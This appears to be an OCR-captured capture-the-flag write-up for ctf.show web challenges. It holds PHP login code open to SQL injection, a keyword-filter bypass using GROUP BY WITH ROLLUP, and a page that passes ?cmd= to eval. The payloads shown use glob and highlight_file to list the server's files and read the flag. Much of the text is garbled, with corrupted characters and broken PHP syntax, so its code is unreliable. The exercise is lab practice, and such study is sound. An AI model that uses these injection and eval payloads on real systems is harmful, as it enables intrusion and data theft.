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<?php
$flag="";
$password=$_POST[ 'password'];
if(strlen($password)>10){
die("password error");
}
$sgql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "H[hRII<br>";
echo $flag;
}
}

?>
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Instance Info

Remaining Time: 1553s

Lan Domain: 3330-32aaeb8f-47f8-4893-8¢f5-
eb48fbaccOab

http://32aaeb8f-47f8-4893-8cf5-
eb48fbaccOab.chall.ctf.show:8080/

Destroy this instance Renew this instance
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<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union]|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row[ 'password']){
echo "E[RIh<br>";
echo $flag;
}

?>
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function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union]|,)/i";

return preg_replace($regex,"",$strParam);
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<?php

$infol = '1221231331341"';

function replaceSpecialChar($strParam){
$regex = '/1|2/';

[IBEBHREA SRR E" | /Y
return preg_replace($regex, '*',$strParam);

}

$infol = replaceSpecialChar($infol);

echo $infoil;

?>
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if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");

}

B =

if($password==$row[ 'password'])
{

echo "H[RIh<br>";

echo $flag;
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sqli&4): select id,count(*) from users group by id;



select id, count (#) from users group by id
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with rollup

sqli&4): select id,count(*) form users group by id with rollup;
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Instance Info

Remaining Time: 3579s

Lan Domain: 3330-57dd0461-8d7b-
48ac-2240-4364aab4f400

http://57dd0461-8d7b-
48ac-9240-4364aab4f400.chall.ctf.show:8080/

Destroy this instance Renew this instance
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<?php
function replaceSpecialChar ($strParam) {
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i”;
return preg_replace($regex, ””, $strParam) ;
}
if(strlen($password) | =strlen(replaceSpecialChar ($password))) {
die("sql inject error”):

if ($password==$ SESSION[ password ]) {
echo $§flag;
telsed

1

- ”
echo “error”;
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Instance Info

Remaining Time: 3584s

Lan Domain: 3330-0ea25221-5bd4-42dd-b8a0-
f9cdd93d3dof

http://Oea25221-5bd4-42dd-b8a0-
f9cdd93d3d%f.chall.ctf.show:8080/

Destroy this instance Renew this instance
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{?php
error reporting(0);
7
<html  lang="zh-CN">

<head>
{meta http—equiv="Content-Type” content="text/html; charset=UTF-8" />
{meta name= viewport” content="width=device-width minimum-scale=1. 0 maximum-scale=1. 0 initial-scale=1.0" />
<{title>ctf. show_webl2<{/title>
</head>
<body>
{center>
<h2>ctf. show webl2<{/h2>
<hd>where is the flag?</h4>
{I— hit:?cmd= —>
{?php
Semd=$_GET[ cmd’ | ;
eval (Semd) :

>

</body>
</html>
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<?php
print r{glob("*._txt")):
2>

FERIREEE:

Array

[0] => target.txt
[1] => source.txt
[2] => test.txt

[3] => test2.txt
)
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<?php
print r(glob("*.*"));
>

TERIREEET:

Array

(

0] => contacts.csv
=> default.php
=> target.txt
=> source.txt
=> teml.tmp

=> test.htm
=> test.ini

=> test.php

=> test.txt

=> testl.txt
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?cmd=print_r(glob("*"));

where is the flag?

Array ( [0] => 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php [1] => index.php )

flagi i%7E 4 7 LB 1 SO

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
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where is the flag?
<?php

$flag="ctfshow{caebd355-6430-470b-bc2a—ab69efd4c19d} ”;
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